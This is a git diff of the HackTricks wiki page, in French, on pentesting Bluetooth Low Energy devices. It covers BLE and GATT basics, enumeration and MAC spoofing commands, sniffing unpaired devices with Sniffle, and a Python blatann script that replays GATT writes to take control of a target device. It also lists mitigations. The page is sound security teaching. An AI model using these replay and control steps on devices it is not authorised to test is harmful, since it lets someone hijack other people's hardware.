mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/todo/radio-hacking/pentesting-ble-bluetooth-low-ene
This commit is contained in:
Translator
parent
6fe1aa11c0
commit
629679f4d9
@ -4,21 +4,21 @@
|
||||
|
||||
## Introduction
|
||||
|
||||
Disponible depuis la spécification Bluetooth 4.0, le BLE utilise seulement 40 canaux, couvrant la plage de 2400 à 2483,5 MHz. En revanche, le Bluetooth traditionnel utilise 79 canaux dans cette même plage.
|
||||
Disponible depuis la spécification Bluetooth 4.0, BLE n'utilise que 40 canaux, couvrant la plage de 2400 à 2483.5 MHz. En revanche, le Bluetooth traditionnel utilise 79 canaux sur cette même plage.
|
||||
|
||||
Les appareils BLE communiquent en envoyant des **paquets de publicité** (**beacons**), ces paquets diffusent l'existence de l'appareil BLE à d'autres appareils à proximité. Ces beacons envoient parfois aussi **des données**.
|
||||
Les appareils BLE communiquent en envoyant des **advertising packets** (**beacons**) ; ces paquets diffusent l'existence de l'appareil BLE aux autres appareils à proximité. Ces beacons peuvent parfois aussi **envoyer des données**.
|
||||
|
||||
L'appareil d'écoute, également appelé appareil central, peut répondre à un paquet de publicité avec une **demande SCAN** envoyée spécifiquement à l'appareil de publicité. La **réponse** à ce scan utilise la même structure que le paquet de **publicité** avec des informations supplémentaires qui ne pouvaient pas tenir dans la demande de publicité initiale, comme le nom complet de l'appareil.
|
||||
Le dispositif à l'écoute, aussi appelé central device, peut répondre à un advertising packet par une **SCAN request** envoyée spécifiquement à l'appareil émetteur. La **response** à ce scan utilise la même structure que le **advertising** packet avec des informations supplémentaires qui n'ont pas pu tenir dans la requête publicitaire initiale, comme le nom complet de l'appareil.
|
||||
|
||||
.png>)
|
||||
|
||||
Le byte de préambule synchronise la fréquence, tandis que l'adresse d'accès de quatre bytes est un **identifiant de connexion**, utilisé dans des scénarios où plusieurs appareils essaient d'établir des connexions sur les mêmes canaux. Ensuite, l'Unité de Données de Protocole (**PDU**) contient les **données de publicité**. Il existe plusieurs types de PDU ; les plus couramment utilisés sont ADV_NONCONN_IND et ADV_IND. Les appareils utilisent le type de PDU **ADV_NONCONN_IND** s'ils **n'acceptent pas les connexions**, transmettant des données uniquement dans le paquet de publicité. Les appareils utilisent **ADV_IND** s'ils **permettent les connexions** et **cessent d'envoyer des paquets de publicité** une fois qu'une **connexion** a été **établie**.
|
||||
L'octet de préambule synchronise la fréquence, tandis que l'adresse d'accès sur quatre octets est un identifiant de connexion, utilisé dans les scénarios où plusieurs appareils tentent d'établir des connexions sur les mêmes canaux. Ensuite, la Protocol Data Unit (**PDU**) contient les **advertising data**. Il existe plusieurs types de PDU ; les plus couramment utilisés sont ADV_NONCONN_IND et ADV_IND. Les appareils utilisent le type de PDU **ADV_NONCONN_IND** s'ils **n'acceptent pas de connexions**, transmettant des données uniquement dans l'advertising packet. Les appareils utilisent **ADV_IND** s'ils **acceptent les connexions** et **cessent d'envoyer des advertising** packets une fois qu'une **connexion** a été **établie**.
|
||||
|
||||
### GATT
|
||||
|
||||
Le **Profil d'Attributs Génériques** (GATT) définit comment l'**appareil doit formater et transférer des données**. Lorsque vous analysez la surface d'attaque d'un appareil BLE, vous concentrerez souvent votre attention sur le GATT (ou GATTs), car c'est ainsi que la **fonctionnalité de l'appareil est déclenchée** et comment les données sont stockées, regroupées et modifiées. Le GATT liste les caractéristiques, descripteurs et services d'un appareil dans un tableau sous forme de valeurs de 16 ou 32 bits. Une **caractéristique** est une valeur **de données** **envoyée** entre l'appareil central et le périphérique. Ces caractéristiques peuvent avoir des **descripteurs** qui **fournissent des informations supplémentaires à leur sujet**. Les **caractéristiques** sont souvent **regroupées** dans des **services** si elles sont liées à l'exécution d'une action particulière.
|
||||
Le Generic Attribute Profile (GATT) définit comment le device doit formater et transférer les données. Lorsque vous analysez la surface d'attaque d'un appareil BLE, vous vous concentrerez souvent sur le GATT (ou les GATTs), car c'est ainsi que la fonctionnalité de l'appareil est déclenchée et comment les données sont stockées, groupées et modifiées. Le GATT liste les caractéristiques, descriptors et services d'un appareil dans un tableau sous forme de valeurs sur 16 ou 32 bits. Une **characteristic** est une valeur de **data** échangée entre le central device et le peripheral. Ces caractéristiques peuvent avoir des **descriptors** qui fournissent des informations supplémentaires à leur sujet. Les **characteristics** sont souvent **groupées** en **services** si elles sont liées à l'exécution d'une action particulière.
|
||||
|
||||
## Enumeration
|
||||
## Énumération
|
||||
```bash
|
||||
hciconfig #Check config, check if UP or DOWN
|
||||
# If DOWN try:
|
||||
@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
|
||||
```
|
||||
### GATTool
|
||||
|
||||
**GATTool** permet d'**établir** une **connexion** avec un autre appareil, de lister les **caractéristiques** de cet appareil et de lire et écrire ses attributs.\
|
||||
GATTTool peut lancer un shell interactif avec l'option `-I` :
|
||||
**GATTool** permet d'établir une connexion avec un autre appareil, de lister les caractéristiques de cet appareil, et de lire et écrire ses attributs.\
|
||||
GATTTool peut lancer un shell interactif avec l'option `-I`:
|
||||
```bash
|
||||
gatttool -i hci0 -I
|
||||
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
|
||||
@ -64,4 +64,125 @@ sudo bettercap --eval "ble.recon on"
|
||||
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
|
||||
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
|
||||
```
|
||||
## Sniffing et contrôle actif des périphériques BLE non appairés
|
||||
|
||||
De nombreux périphériques BLE bon marché n'appliquent pas le pairing/bonding. Sans bonding, le Link Layer encryption n'est jamais activé, donc le trafic ATT/GATT est en clair. Un off-path sniffer peut suivre la connexion, décoder les opérations GATT pour découvrir les characteristic handles et valeurs, et n'importe quel hôte à proximité peut ensuite se connecter et rejouer ces écritures pour contrôler le périphérique.
|
||||
|
||||
### Sniffing avec Sniffle (CC26x2/CC1352)
|
||||
|
||||
Hardware: un Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed avec le firmware Sniffle du NCC Group.
|
||||
|
||||
Installer Sniffle et son Wireshark extcap sur Linux:
|
||||
```bash
|
||||
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
|
||||
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
|
||||
sudo mkdir -p /opt/sniffle
|
||||
sudo chown -R $USER:$USER /opt/sniffle
|
||||
pushd /opt/sniffle
|
||||
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
|
||||
tar xvf v1.10.0.tar.gz
|
||||
# Install Wireshark extcap for user and root only
|
||||
mkdir -p $HOME/.local/lib/wireshark/extcap
|
||||
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
|
||||
sudo mkdir -p /root/.local/lib/wireshark/extcap
|
||||
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
|
||||
popd
|
||||
else
|
||||
echo "[+] - Sniffle already installed at 1.10.0"
|
||||
fi
|
||||
```
|
||||
Flasher le Sonoff avec le firmware Sniffle (assurez-vous que votre périphérique série est correct, p. ex. /dev/ttyUSB0):
|
||||
```bash
|
||||
pushd /opt/sniffle/
|
||||
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
git clone https://github.com/sultanqasim/cc2538-bsl.git
|
||||
cd cc2538-bsl
|
||||
python3 -m venv .venv
|
||||
source .venv/bin/activate
|
||||
python3 -m pip install pyserial intelhex
|
||||
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
deactivate
|
||||
popd
|
||||
```
|
||||
Capturez dans Wireshark via le Sniffle extcap et faites un pivot rapide vers les state-changing writes en filtrant :
|
||||
```text
|
||||
_ws.col.info contains "Sent Write Command"
|
||||
```
|
||||
Cela met en évidence les ATT Write Commands provenant du client ; le handle et la value correspondent souvent directement à des actions sur l'appareil (par ex., write 0x01 sur une buzzer/alert characteristic, 0x00 pour arrêter).
|
||||
|
||||
Exemples rapides de Sniffle CLI :
|
||||
```bash
|
||||
python3 scanner.py --output scan.pcap
|
||||
# Only devices with very strong signal
|
||||
python3 scanner.py --rssi -40
|
||||
# Filter advertisements containing a string
|
||||
python3 sniffer.py --string "banana" --output sniff.pcap
|
||||
```
|
||||
Sniffer alternatif : Nordic’s nRF Sniffer for BLE + Wireshark plugin fonctionne aussi. Sur les petits dongles Nordic bon marché, on écrase généralement le USB bootloader pour charger le sniffer firmware, donc soit vous conservez un dongle sniffer dédié, soit vous avez besoin d'un J-Link/JTAG pour restaurer le bootloader ensuite.
|
||||
|
||||
### Contrôle actif via GATT
|
||||
|
||||
Une fois que vous avez identifié un writable characteristic handle et la valeur depuis le sniffed traffic, connectez-vous en tant que central et effectuez le même write :
|
||||
|
||||
- Avec Nordic nRF Connect for Desktop (BLE app) :
|
||||
- Sélectionnez le dongle nRF52/nRF52840, scannez et connectez-vous à la cible.
|
||||
- Parcourez la GATT database, localisez la target characteristic (souvent a un friendly name, p.ex., Alert Level).
|
||||
- Effectuez un Write avec les sniffed bytes (p.ex., 01 pour déclencher, 00 pour arrêter).
|
||||
|
||||
- Automatisez sur Windows avec un dongle Nordic en utilisant Python + blatann :
|
||||
```python
|
||||
import time
|
||||
import blatann
|
||||
|
||||
# CONFIG
|
||||
COM_PORT = "COM29" # Replace with your COM port
|
||||
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
|
||||
|
||||
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
|
||||
|
||||
# CONNECT
|
||||
ble_device = blatann.BleDevice(COM_PORT)
|
||||
ble_device.configure()
|
||||
ble_device.open()
|
||||
print(f"[-] Connecting to {TARGET_MAC}...")
|
||||
peer = ble_device.connect(target_address).wait()
|
||||
if not peer:
|
||||
print("[!] Connection failed.")
|
||||
ble_device.close()
|
||||
raise SystemExit(1)
|
||||
|
||||
print("Connected. Discovering services...")
|
||||
peer.discover_services().wait(5, exception_on_timeout=False)
|
||||
|
||||
# Example: write 0x01/0x00 to a known handle
|
||||
for service in peer.database.services:
|
||||
for ch in service.characteristics:
|
||||
if ch.handle == 0x000b: # Replace with your handle
|
||||
print("[!] Beeping.")
|
||||
ch.write(b"\x01")
|
||||
time.sleep(2)
|
||||
print("[+] And relax.")
|
||||
ch.write(b"\x00")
|
||||
|
||||
print("[-] Disconnecting...")
|
||||
peer.disconnect()
|
||||
peer.wait_for_disconnect()
|
||||
ble_device.close()
|
||||
```
|
||||
### Notes opérationnelles et mesures d'atténuation
|
||||
|
||||
- Privilégiez Sonoff+Sniffle sous Linux pour un saut de canaux robuste et le suivi des connexions. Gardez un sniffer Nordic de secours.
|
||||
- Sans pairing/bonding, un attaquant à proximité peut observer les écritures et rejouer/forger les siennes vers des characteristics écrites non authentifiées.
|
||||
- Mesures d'atténuation : exiger pairing/bonding et appliquer le chiffrement ; définir les permissions des characteristics pour exiger des écritures authentifiées ; minimiser les characteristics écrites non authentifiées ; valider les GATT ACLs avec Sniffle/nRF Connect.
|
||||
|
||||
## Références
|
||||
|
||||
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
|
||||
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
|
||||
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
|
||||
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
|
||||
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
|
||||
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
|
||||
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user